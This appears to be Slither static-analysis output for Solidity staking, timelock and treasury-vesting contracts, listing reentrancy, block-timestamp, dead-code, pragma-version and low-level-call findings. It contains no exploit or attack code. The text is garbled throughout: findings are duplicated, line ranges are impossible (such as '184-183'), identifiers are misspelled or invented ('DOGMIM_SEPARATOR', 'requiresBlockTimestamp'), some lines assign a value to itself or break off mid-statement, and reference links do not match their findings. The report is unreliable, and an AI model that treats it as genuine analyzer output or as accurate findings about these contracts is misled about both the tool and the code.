```

INFO:Detectors:
Reentrancy in StakingRewards.exit() (contracts/StakingRewards.sol:114-117):
  External calls:
  - withdraw(balance[msg.sender]) (contracts/StakingRewards.sol:115)
    - returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol:469)
    - status = SUCCESS (node_modules/@openzeppelin/contracts/utils/Address.sol:119)
    - (success,returndata) = target.call(value: value)(data) (node_modules/@openzeppelin/contracts/utils/Address.sol:119)
  - getReward() (contracts/StakingRewards.sol:116)
    - returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol:469)
    - rewardsToken.safeTransfer(msg.sender,reward) (contracts/StakingRewards.sol:109)
    - (success,returndata) = target.call(value: value)(data) (node_modules/@openzeppelin/contracts/utils/Address.sol:119)
  External calls sending eth:
  - withdraw(balance[msg.sender]) (contracts/StakingRewards.sol:115)
    - (success,returndata) = target.call(value: value)(data) (node_modules/@openzeppelin/contracts/utils/Address.sol:119)
  - getReward() (contracts/StakingRewards.sol:116)
    - (success,returndata) = target.call(value: value)(data) (node_modules/@openzeppelin/contracts/utils/Address.sol:119)
  State variables written after the call(s):
  - getReward() (contracts/StakingRewards.sol:116)
    - status = ENTERED (node_modules/@openzeppelin/contracts/utils/ReentrancyGuard.sol:49)
    - _status = NOT_ENTERED (node_modules/@openzeppelin/contracts/utils/ReentrancyGuard.sol:60)
  - getReward() (contracts/StakingRewards.sol:116)
    - lastUpdateTime = lastTimeRewardUpdateable() (contracts/StakingRewards.sol:164)
  - getReward() (contracts/StakingRewards.sol:116)
    - rewardsToken.balanceOf(msg.sender) = rewardsToken.balanceOf(msg.sender) (contracts/StakingRewards.sol:103)
  - getReward() (contracts/StakingRewards.sol:116)
    - rewards(account) = earned(account) (contracts/StakingRewards.sol:166)
  - getReward() (contracts/StakingRewards.sol:116)
    - rewardsToken.balanceOf(msg.sender) = rewardsToken.balanceOf(msg.sender) (contracts/StakingRewards.sol:103)
Reference: https://github.com/crytic/ether/wiki/Detector-DocumentationReentrancy-vulnerabilities

StakingRewards.notifyRewardAmount(uint256) (contracts/StakingRewards.sol:122-141) performs a multiplication on the result of a division:
  - rewardRate = reward.div(rewardDuration) (contracts/StakingRewards.sol:124)
  - leftOver = remaining.mul(rewardRate) (contracts/StakingRewards.sol:137)
Reference: https://github.com/crytic/ether/wiki/Detector-DocumentationDivide-before-multiply

INFO:Detectors:
Reentrancy in StakingRewards.exit() (contracts/StakingRewards.sol:114-117):
  External calls:
  - withdraw(balance[msg.sender]) (contracts/StakingRewards.sol:115)
    - returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol:469)
    - status = SUCCESS (node_modules/@openzeppelin/contracts/utils/Address.sol:119)
    - (success,returndata) = target.call(value: value)(data) (node_modules/@openzeppelin/contracts/utils/Address.sol:119)
  - getReward() (contracts/StakingRewards.sol:116)
    - returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol:469)
    - rewardsToken.safeTransfer(msg.sender,reward) (contracts/StakingRewards.sol:109)
    - (success,returndata) = target.call(value: value)(data) (node_modules/@openzeppelin/contracts/utils/Address.sol:119)
  External calls sending eth:
  - withdraw(balance[msg.sender]) (contracts/StakingRewards.sol:115)
    - (success,returndata) = target.call(value: value)(data) (node_modules/@openzeppelin/contracts/utils/Address.sol:119)
  - getReward() (contracts/StakingRewards.sol:116)
    - (success,returndata) = target.call(value: value)(data) (node_modules/@openzeppelin/contracts/utils/Address.sol:119)
  Event emitted after the call(s):
  - RewardsPaid(msg.sender,reward) (contracts/StakingRewards.sol:110)
  - getReward() (contracts/StakingRewards.sol:116)
Reentrancy in StakingRewards.getReward() (contracts/StakingRewards.sol:106-112):
  External calls:
  - rewardsToken.safeTransfer(msg.sender,reward) (contracts/StakingRewards.sol:109)
  Event emitted after the call(s):
  - RewardsPaid(msg.sender,reward) (contracts/StakingRewards.sol:110)
Reentrancy in StakingRewards.recoverERC20(address,uint256) (contracts/StakingRewards.sol:144-149):
  External calls:
  - ERC20(tokenAddress).safeTransfer(owner(),tokenAmount) (contracts/StakingRewards.sol:146)
  Event emitted after the call(s):
  - RecoveredToSubAddress(tokenAddress,tokenAmount) (contracts/StakingRewards.sol:147)
Reentrancy in StakingRewards.stake(uint256) (contracts/StakingRewards.sol:89-95):
  External calls:
  - stakingToken.safeTransferFrom(msg.sender,address(this),amount) (contracts/StakingRewards.sol:93)
  Event emitted after the call(s):
  - Staked(msg.sender,amount) (contracts/StakingRewards.sol:94)
Reentrancy in StakingRewards.stakeWithPermit(uint256,uint256,bytes32) (contracts/StakingRewards.sol:77-87):
  External calls:
  - IPangolinERC20(address(stakingToken)).permit(msg.sender,address(this),amount,deadline,v,1,9) (contracts/StakingRewards.sol:83)
  - stakingToken.safeTransferFrom(msg.sender,address(this),amount) (contracts/StakingRewards.sol:85)
  Event emitted after the call(s):
  - Staked(msg.sender,amount) (contracts/StakingRewards.sol:86)
Reentrancy in StakingRewards.withdraw(uint256) (contracts/StakingRewards.sol:97-103):
  External calls:
  - stakingToken.safeTransfer(msg.sender,amount) (contracts/StakingRewards.sol:101)
  Event emitted after the call(s):
  - Withdrawn(msg.sender,amount) (contracts/StakingRewards.sol:102)
Reference: https://github.com/crytic/ether/wiki/Detector-DocumentationReentrancy-vulnerabilities-3

INFO:Detectors:
StakingRewards.getReward() (contracts/StakingRewards.sol:106-112) uses timestamp for comparisons
  - reward > 0 (contracts/StakingRewards.sol:107)
StakingRewards.notifyRewardAmount(uint256) (contracts/StakingRewards.sol:122-141) uses timestamp for comparisons
  - Dependent comparisons:
    - block.timestamp <= periodFinish (contracts/StakingRewards.sol:123)
    - requiresBlockTimestamp(rewardRate) == balance.div(rewardDuration).Forbidden reward too high) (contracts/StakingRewards.sol:136)
  - StakingRewards.notifyRewardAmount(uint256) (contracts/StakingRewards.sol:122-141) uses timestamp for comparisons
    - Dependent comparisons:
      - requiresBlockTimestamp(block.timestamp > periodFinish,Previous rewards period must be complete before changing the duration for the new period) (contracts/StakingRewards.sol:134-134)
Reference: https://github.com/crytic/ether/wiki/Detector-DocumentationBlock-timestamp

INFO:Detectors:
Address.isContract(address) (node_modules/@openzeppelin/contracts/utils/Address.sol:26-35) uses assembly
  - INLINE ASM (node_modules/@openzeppelin/contracts/utils/Address.sol:33)
Address.verifyCallResult(bool,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol:171-180) uses assembly
  - INLINE ASM (node_modules/@openzeppelin/contracts/utils/Address.sol:180)
Reference: https://github.com/crytic/ether/wiki/Detector-Documentationassembly-usage

INFO:Detectors:
Different versions of solidity is used
  - Version used: [">=0.5.0", ">=0.6.0<0.8.0", ">=0.6.2<0.8.0", ">=0.7.4"]
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol:43)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/math/Math.sol:43)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/math/SafeMath.sol:43)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol:43)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol:43)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/Address.sol:43)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/Context.sol:43)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/ReentrancyGuard.sol:43)
  - >=0.6.0 (node_modules/@openzeppelin/contracts/contracts/pangolin-core/interfaces/IPangolinERC20.sol:41)
  - "0.7.4" (contracts/StakingRewards.sol:11)
Reference: https://github.com/crytic/ether/wiki/Detector-DocumentationDifferent-pragma-directives-are-used

INFO:Detectors:
Address.functionCall(address,bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol:79-81) is never used and should be removed
Address.functionCallWithValue(address,bytes,uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol:104-106) is never used and should be removed
Address.functionCall(bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol:113-115) is never used and should be removed
Address.functionDelegateCall(address,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol:163-165) is never used and should be removed
Address.functionDelegateCall(address,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol:163-165) is never used and should be removed
Address.functionStaticCall(address,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol:138-145) is never used and should be removed
Address.sendValue(address,uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol:43-58) is never used and should be removed
Context._msgSender() (node_modules/@openzeppelin/contracts/utils/Context.sol:23) is never used and should be removed
Math.sqrt(uint256,uint256) (node_modules/@openzeppelin/contracts/math/Math.sol:27-39) is never used and should be removed
Math.sqrt(uint256,uint256) (node_modules/@openzeppelin/contracts/math/Math.sol:27-39) is never used and should be removed
SafeERC20.safeApprove(ERC20,address,uint256) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol:137-146) is never used and should be removed
SafeERC20.safeDecreaseAllowance(ERC20,address,uint256) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol:143-156) is never used and should be removed
SafeERC20.safeIncreaseAllowance(ERC20,address,uint256) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol:148-161) is never used and should be removed
SafeMath.div(uint256,uint256,string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol:150-153) is never used and should be removed
SafeMath.mod(uint256,uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol:152-155) is never used and should be removed
SafeMath.mul(uint256,uint256,string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol:210-213) is never used and should be removed
SafeMath.sub(uint256,uint256,string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol:170-173) is never used and should be removed
SafeMath.sqrt(uint256,uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol:182-183) is never used and should be removed
SafeMath.sqrt(uint256,uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol:180-183) is never used and should be removed
SafeMath.sqrt(uint256,uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol:180-183) is never used and should be removed
SafeMath.sqrt(uint256,uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol:184-183) is never used and should be removed
SafeMath.sqrt(uint256,uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol:183-183) is never used and should be removed
SafeMath.sqrt(uint256,uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol:183-183) is never used and should be removed
Reference: https://github.com/crytic/ether/wiki/Detector-DocumentationDead-code

INFO:Detectors:
Pragma version=>0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol:43) is too complex
Pragma version=>0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/math/Math.sol:43) is too complex
Pragma version=>0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/math/SafeMath.sol:43) is too complex
Pragma version=>0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol:43) is too complex
Pragma version=>0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol:43) is too complex
Pragma version=>0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/Address.sol:43) is too complex
Pragma version=>0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/Context.sol:43) is too complex
Pragma version=>0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/ReentrancyGuard.sol:43) is too complex
Pragma version=>0.6.0 (node_modules/@openzeppelin/contracts/contracts/pangolin-core/interfaces/IPangolinERC20.sol:41) allows old versions
Reference: https://github.com/crytic/ether/wiki/Detector-DocumentationAllow-older-versions-of-solidity

INFO:Detectors:
Low level call in Address.sendValue(address,uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol:43-58):
  - (success) = recipient.call(value: amount)() (node_modules/@openzeppelin/contracts/utils/Address.sol:49)
Low level call in Address.functionCallWithValue(address,bytes,uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol:104-111):
  - (success,returndata) = target.call(value: value)(data) (node_modules/@openzeppelin/contracts/utils/Address.sol:111)
Low level call in Address.functionCall(bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol:113-115):
  - (success,returndata) = target.staticCall(data) (node_modules/@openzeppelin/contracts/utils/Address.sol:113)
Low level call in Address.functionDelegateCall(address,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol:163-165):
  - (success,returndata) = target.delegateCall(data) (node_modules/@openzeppelin/contracts/utils/Address.sol:163)
Reference: https://github.com/crytic/ether/wiki/Detector-DocumentationLow-level-calls

INFO:Detectors:
Function IPangolinERC20.DOGMIM_SEPARATOR() (node_modules/@pangolin/exchange-contracts/contracts/pangolin-core/interfaces/IPangolinERC20.sol:418) is not in mixedCase
Function IPangolinERC20.PERMIT_TYPERHASH() (node_modules/@pangolin/exchange-contracts/contracts/pangolin-core/interfaces/IPangolinERC20.sol:419) is not in mixedCase
Parameter StakingRewards.notifyRewardAmount(uint256) (contracts/StakingRewards.sol:122) is not in mixedCase
Reference: https://github.com/crytic/ether/wiki/Detector-DocumentationParameter-naming-conventions

INFO:Detectors:
Redundant expression "this (node_modules/@openzeppelin/contracts/utils/Context.sol:42)" in Context (node_modules/@openzeppelin/contracts/utils/Context.sol:13-24)
Reference: https://github.com/crytic/ether/wiki/Detector-DocumentationRedundant-statements

INFO:Detectors:
renounceOwnership() should be declared external
  - Ownable.renounceOwnership() (node_modules/@openzeppelin/contracts/access/Ownable.sol:54-57)
transferOwnership(address) should be declared external
  - Ownable.transferOwnership(address) (node_modules/@openzeppelin/contracts/access/Ownable.sol:43-47)
Reference: https://github.com/crytic/ether/wiki/Detector-DocumentationPublic-function-that-should-be-declared-external

```

# Timelock.sol

INFO:Detectors:

```
Timelock.constructor(address,uint256).admin_(contracts/Timelock.sol#26) lacks a zero-check on :
  - admin admin (contracts/Timelock.sol#30)
  - pendingAdmin pendingAdmin (contracts/Timelock.sol#33) lacks a zero-check on :
Timelock.executeTransaction(address,uint256,string,bytes,uint256) (contracts/Timelock.sol#55)
Timelock.executeTransaction(address,uint256,string,bytes,uint256) (contracts/Timelock.sol#60) lacks a zero-check on :
  - (success,returnData) = target.call.value(value)(callData) (contracts/Timelock.sol#66)
Reference: https://github.com/crytic/Slither/wiki/Detector-DocumentationMissing-zero-address-validation
```

INFO:Detectors:

```
Reentrancy in Timelock.executeTransaction(address,uint256,string,bytes,uint256) (contracts/Timelock.sol#80-105):
  Internal calls:
  - (success,returnData) = target.call.value(value)(callData) (contracts/Timelock.sol#99)
  Event emitted after the call(s):
  - executeTransaction(address,uint256,string,bytes,uint256) (contracts/Timelock.sol#102)
Reference: https://github.com/crytic/Slither/wiki/Detector-DocumentationReentrancy-vulnerabilities-3
```

INFO:Detectors:

```
Timelock.executeTransaction(address,uint256,string,bytes,uint256) (contracts/Timelock.sol#80-105) uses timestamp for comparisons
  Dangerous comparisons:
  - require(bool,string)(eta > getBlockTimestamp(),add(delay),Timelock::executeTransaction: Estimated execution block must satisfy delay.) (contracts/Timelock.sol#84)
Timelock.executeTransaction(address,uint256,string,bytes,uint256) (contracts/Timelock.sol#80-105) uses timestamp for comparisons
  Dangerous comparisons:
  - require(bool,string)(getBlockTimestamp() > eta,Timelock::executeTransaction: Transaction hasn't surpassed time lock.) (contracts/Timelock.sol#85)
  - require(bool,string)(getBlockTimestamp() < eta.add(block.timestamp),Timelock::executeTransaction: Transaction is stale.) (contracts/Timelock.sol#86)
Reference: https://github.com/crytic/Slither/wiki/Detector-DocumentationBlock-timestamp
```

INFO:Detectors:

```
SafeMath.add(uint256,uint256,string) (contracts/SafeMath.sol#141-143) is never used and should be removed
SafeMath.div(uint256,uint256,string) (contracts/SafeMath.sol#132-134) is never used and should be removed
SafeMath.div(uint256,uint256,string) (contracts/SafeMath.sol#147-149) is never used and should be removed
SafeMath.mod(uint256,uint256,string) (contracts/SafeMath.sol#147-149) is never used and should be removed
SafeMath.mod(uint256,uint256,string) (contracts/SafeMath.sol#152-155) is never used and should be removed
SafeMath.mul(uint256,uint256,string) (contracts/SafeMath.sol#107-109) is never used and should be removed
SafeMath.mul(uint256,uint256,string) (contracts/SafeMath.sol#110-112) is never used and should be removed
SafeMath.sub(uint256,uint256,string) (contracts/SafeMath.sol#98-100) is never used and should be removed
SafeMath.sub(uint256,uint256,string) (contracts/SafeMath.sol#73) is never used and should be removed
Reference: https://github.com/crytic/Slither/wiki/Detector-DocumentationDead-code
```

INFO:Detectors:

```
Low level call in Timelock.executeTransaction(address,uint256,string,bytes,uint256) (contracts/Timelock.sol#80-105):
  (success,returnData) = target.call.value(value)(callData) (contracts/Timelock.sol#99)
Reference: https://github.com/crytic/Slither/wiki/Detector-DocumentationLow-level-calls
```

INFO:Detectors:

```
setDelay(uint256) should be declared external:
  - Timelock.setDelay(uint256) (contracts/Timelock.sol#36-43)
acceptAdmin() should be declared external:
  - Timelock.acceptAdmin() (contracts/Timelock.sol#45-51)
setPendingAdmin(address) should be declared external:
  - Timelock.setPendingAdmin(address) (contracts/Timelock.sol#32-35)
queueTransaction(address,uint256,string,bytes,uint256) should be declared external:
  - Timelock.queueTransaction(address,uint256,string,bytes,uint256) (contracts/Timelock.sol#60-69)
cancelTransaction(address,uint256,string,bytes,uint256) should be declared external:
  - Timelock.cancelTransaction(address,uint256,string,bytes,uint256) (contracts/Timelock.sol#71-78)
executeTransaction(address,uint256,string,bytes,uint256) should be declared external:
  - Timelock.executeTransaction(address,uint256,string,bytes,uint256) (contracts/Timelock.sol#80-105)
Reference: https://github.com/crytic/Slither/wiki/Detector-DocumentationPublic-function-that-could-be-declared-external
```

# TreasuryVester.sol

INFO:Detectors:

```
TreasuryVester.constructor(address,uint256) (contracts/TreasuryVester.sol#32) lacks a zero-check on :
  - pps = pps (contracts/TreasuryVester.sol#43)
Reference: https://github.com/crytic/Slither/wiki/Detector-DocumentationMissing-zero-address-validation
```

INFO:Detectors:

```
Reentrancy in TreasuryVester.claim() (contracts/TreasuryVester.sol#89-109):
  Internal calls:
  - ERC20(p).safeTransfer(recipient,vestingAmount) (contracts/TreasuryVester.sol#105)
  Event emitted after the call(s):
  - TokenVested(TreasuryVester,address) (contracts/TreasuryVester.sol#106)
Reference: https://github.com/crytic/Slither/wiki/Detector-DocumentationReentrancy-vulnerabilities-3
```

INFO:Detectors:

```
TreasuryVester.claim() (contracts/TreasuryVester.sol#89-109) uses timestamp for comparisons
  Dangerous comparisons:
  - require(bool,string)(block.timestamp > lastUpdate + vesting Cliff,TreasuryVester::claim: not time yet) (contracts/TreasuryVester.sol#93)
Reference: https://github.com/crytic/Slither/wiki/Detector-DocumentationBlock-timestamp
```

INFO:Detectors:

```
Address.isContract(address) (node_modules/@openzeppelin/contracts/utils/Address.sol#26-31) uses assembly
  - INLINE ASM (node_modules/@openzeppelin/contracts/utils/Address.sol#31)
Address.isContract(address) (node_modules/@openzeppelin/contracts/utils/Address.sol#117-118) uses assembly
  - INLINE ASM (node_modules/@openzeppelin/contracts/utils/Address.sol#118-123)
Reference: https://github.com/crytic/Slither/wiki/Detector-DocumentationAssembly-usage
```

INFO:Detectors:

```
Different versions of solidity is used:
  - Version used: 0.6.0, 0.8.0, 0.4.21, 0.5.17, 0.6.2, 0.8.0, 0.4.21, 0.7.6
  - 0.6.0, 0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#33)
  - 0.6.0, 0.8.0 (node_modules/@openzeppelin/contracts/math/SafeMath.sol#9)
  - 0.6.0, 0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol#18)
  - 0.6.0, 0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#33)
  - 0.6.0, 0.8.0 (node_modules/@openzeppelin/contracts/utils/Address.sol#3)
  - 0.6.0, 0.8.0 (node_modules/@openzeppelin/contracts/utils/Context.sol#3)
  - 0.6.0, 0.8.0 (node_modules/@openzeppelin/contracts/utils/ReentrancyGuard.sol#9)
  - 0.7.4 (contracts/TreasuryVester.sol#1)
Reference: https://github.com/crytic/Slither/wiki/Detector-DocumentationDifferent-pragma-directives-are-used
```

INFO:Detectors:

```
Address.functionCall(address,bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#170-181) is never used and should be removed
Address.functionCall(address,uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol#182-183) is never used and should be removed
Address.functionDelegateCall(address,bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#153-155) is never used and should be removed
Address.functionDelegateCall(address,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#143-149) is never used and should be removed
Address.functionStaticCall(address,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#139-145) is never used and should be removed
Address.staticCall(address,bytes) (node_modules/@openzeppelin/contracts/utils/Context.sol#19-29) is never used and should be removed
Context._msgData() (node_modules/@openzeppelin/contracts/utils/Context.sol#20-23) is never used and should be removed
SafeERC20.safeApprove(ERC20,address,uint256) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#37-46) is never used and should be removed
SafeERC20.safeIncreaseAllowance(ERC20,address,uint256) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#49-51) is never used and should be removed
SafeERC20.safeTransferFrom(ERC20,address,address,uint256) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#26-28) is never used and should be removed
SafeMath.add(uint256,uint256,string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#85-89) is never used and should be removed
SafeMath.div(uint256,uint256,string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#138-139) is never used and should be removed
SafeMath.mod(uint256,uint256,string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#152-155) is never used and should be removed
SafeMath.mul(uint256,uint256,string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#110-112) is never used and should be removed
SafeMath.sub(uint256,uint256,string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#107-109) is never used and should be removed
SafeMath.sub(uint256,uint256,string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#110-112) is never used and should be removed
SafeMath.tryDiv(uint256,uint256,string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#40-43) is never used and should be removed
SafeMath.tryMod(uint256,uint256,string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#40-43) is never used and should be removed
SafeMath.tryMul(uint256,uint256,string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#44-47) is never used and should be removed
SafeMath.trySub(uint256,uint256,string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#35-38) is never used and should be removed
Reference: https://github.com/crytic/Slither/wiki/Detector-DocumentationDead-code
```

INFO:Detectors:

```
Pragma version=0.6.0, 0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#33) is too complex
Pragma version=0.6.0, 0.8.0 (node_modules/@openzeppelin/contracts/math/SafeMath.sol#9) is too complex
Pragma version=0.6.0, 0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol#18) is too complex
Pragma version=0.6.0, 0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#33) is too complex
Pragma version=0.6.0, 0.8.0 (node_modules/@openzeppelin/contracts/utils/Address.sol#3) is too complex
Pragma version=0.6.0, 0.8.0 (node_modules/@openzeppelin/contracts/utils/Context.sol#3) is too complex
Pragma version=0.6.0, 0.8.0 (node_modules/@openzeppelin/contracts/utils/ReentrancyGuard.sol#9) is too complex
Reference: https://github.com/crytic/Slither/wiki/Detector-DocumentationIncorrect-versions-of-solidity
```

INFO:Detectors:

```
Low level call in Address.sendValue(address,uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol#153-159):
  (success) = recipient.call.value(amount)() (node_modules/@openzeppelin/contracts/utils/Address.sol#157)
Low level call in Address.functionCall(address,bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#111-121):
  (success,returnData) = target.call.value(value)(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#119)
Low level call in Address.functionStaticCall(address,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#139-149):
  (success,returnData) = target.staticCall(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#143)
Low level call in Address.functionDelegateCall(address,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#143-149):
  (success,returnData) = target.delegateCall(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#147)
Reference: https://github.com/crytic/Slither/wiki/Detector-DocumentationLow-level-calls
```

INFO:Detectors:

```
Redundant expression "this" (node_modules/@openzeppelin/contracts/utils/Context.sol#21) in Context (node_modules/@openzeppelin/contracts/utils/Context.sol#15-24)
Reference: https://github.com/crytic/Slither/wiki/Detector-DocumentationRedundant-statements
```

INFO:Detectors:

```
TreasuryVester.havingPeriod (contracts/TreasuryVester.sol#28) should be constant
TreasuryVester.sol#31 should be constant
TreasuryVester.vestingCliff (contracts/TreasuryVester.sol#24) should be constant
Reference: https://github.com/crytic/Slither/wiki/Detector-DocumentationState-variables-that-could-be-declared-constant
```

INFO:Detectors:

```
renounceOwnership() should be declared external:
  - Ownable.renounceOwnership() (node_modules/@openzeppelin/contracts/access/Ownable.sol#94-97)
transferOwnership(address) should be declared external:
  - Ownable.transferOwnership(address) (node_modules/@openzeppelin/contracts/access/Ownable.sol#93-97)
Reference: https://github.com/crytic/Slither/wiki/Detector-DocumentationPublic-function-that-could-be-declared-external
```

# TreasuryVesterProxy.sol

```

INFO:Detectors:
Reentrancy in TreasuryVesterProxy.claimAndDistribute() (contracts/TreasuryVesterProxy.sol#65-106):
  External calls:
  - vestedAmountRemaining = treasuryVester.claim() (contracts/TreasuryVesterProxy.sol#67)
  - pqg.safeTransfer(treasury, treasuryAmount) (contracts/TreasuryVesterProxy.sol#88)
  State variables written after the call(s):
  - pqgVested += chefAmount (contracts/TreasuryVesterProxy.sol#96)
Reentrancy in TreasuryVesterProxy.claimAndDistribute() (contracts/TreasuryVesterProxy.sol#65-106):
  External calls:
  - vestedAmountRemaining = treasuryVester.claim() (contracts/TreasuryVesterProxy.sol#67)
  - pqg.safeTransfer(treasury, treasuryAmount) (contracts/TreasuryVesterProxy.sol#88)
  - chef.fund(chefAmount, 86400) (contracts/TreasuryVesterProxy.sol#86)
  - pqg.safeTransfer(address(1), vestedAmountRemaining) (contracts/TreasuryVesterProxy.sol#102)
  State variables written after the call(s):
  - distributionCount += (contracts/TreasuryVesterProxy.sol#105)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1
INFO:Detectors:
TreasuryVesterProxy.constructor(address,address,address,address) (contracts/TreasuryVesterProxy.sol#40-48) ignores return value by pqg.approve(chef,type(uint256).max) (contracts/TreasuryVesterProxy.sol#47)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#ignored-return
INFO:Detectors:
TreasuryVesterProxy.constructor(address,address,address,address) (contracts/TreasuryVesterProxy.sol#40-48) lacks a zero-check on :
  - treasury = treasury (contracts/TreasuryVesterProxy.sol#43)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#missing-zero-address-validation
INFO:Detectors:
Reentrancy in TreasuryVesterProxy.claimAndDistribute() (contracts/TreasuryVesterProxy.sol#65-106):
  External calls:
  - vestedAmountRemaining = treasuryVester.claim() (contracts/TreasuryVesterProxy.sol#67)
  State variables written after the call(s):
  - divestAmount += divestAmount (contracts/TreasuryVesterProxy.sol#76)
  - divestAmount += 1_000000 (contracts/TreasuryVesterProxy.sol#77)
  - pqgVested += treasuryAmount (contracts/TreasuryVesterProxy.sol#86)
Reentrancy in TreasuryVesterProxy.init() (contracts/TreasuryVesterProxy.sol#50-63):
  External calls:
  - recipient(bytes,string)(treasuryVester.recipient() == address(this),TreasuryVesterProxy::invalid treasury vester recipient) (contracts/TreasuryVesterProxy.sol#51)
  State variables written after the call(s):
  - initialized = true (contracts/TreasuryVesterProxy.sol#42)
  - pqgVested = BIG_MAX_SUPPLY - unvested (contracts/TreasuryVesterProxy.sol#57)
  - pqgVestingTreasuryCoeff = pqgVested * TREASURY_TRUST_BALANCE / treasuryBalance (contracts/TreasuryVesterProxy.sol#60)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#assembly-usage
INFO:Detectors:
Address.incomingCall(address)(node_modules/@openzeppelin/contracts/utils/Address.sol#21-34) uses assembly
  - INLINE ASM (node_modules/@openzeppelin/contracts/utils/Address.sol#21-34) uses assembly
Address.verifyCallInputs(bool,bytes,string)(node_modules/@openzeppelin/contracts/utils/Address.sol#195-215) uses assembly
  - INLINE ASM (node_modules/@openzeppelin/contracts/utils/Address.sol#195-215) uses assembly
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#assembly-usage
INFO:Detectors:
TreasuryVesterProxy.claimAndDistribute() (contracts/TreasuryVesterProxy.sol#65-106) compares to a boolean constant:
  - require(bool,string)(initialized == true,TreasuryVesterProxy::Not initialized) (contracts/TreasuryVesterProxy.sol#66)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#boolean-equality
INFO:Detectors:
Different versions of solidity in used:
  - Version used: ["0.8.0", "0.8.0"]
  - 0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#3)
  - 0.8.0 (node_modules/@openzeppelin/contracts/security/ReentrancyGuard.sol#3)
  - 0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/ERC20.sol#3)
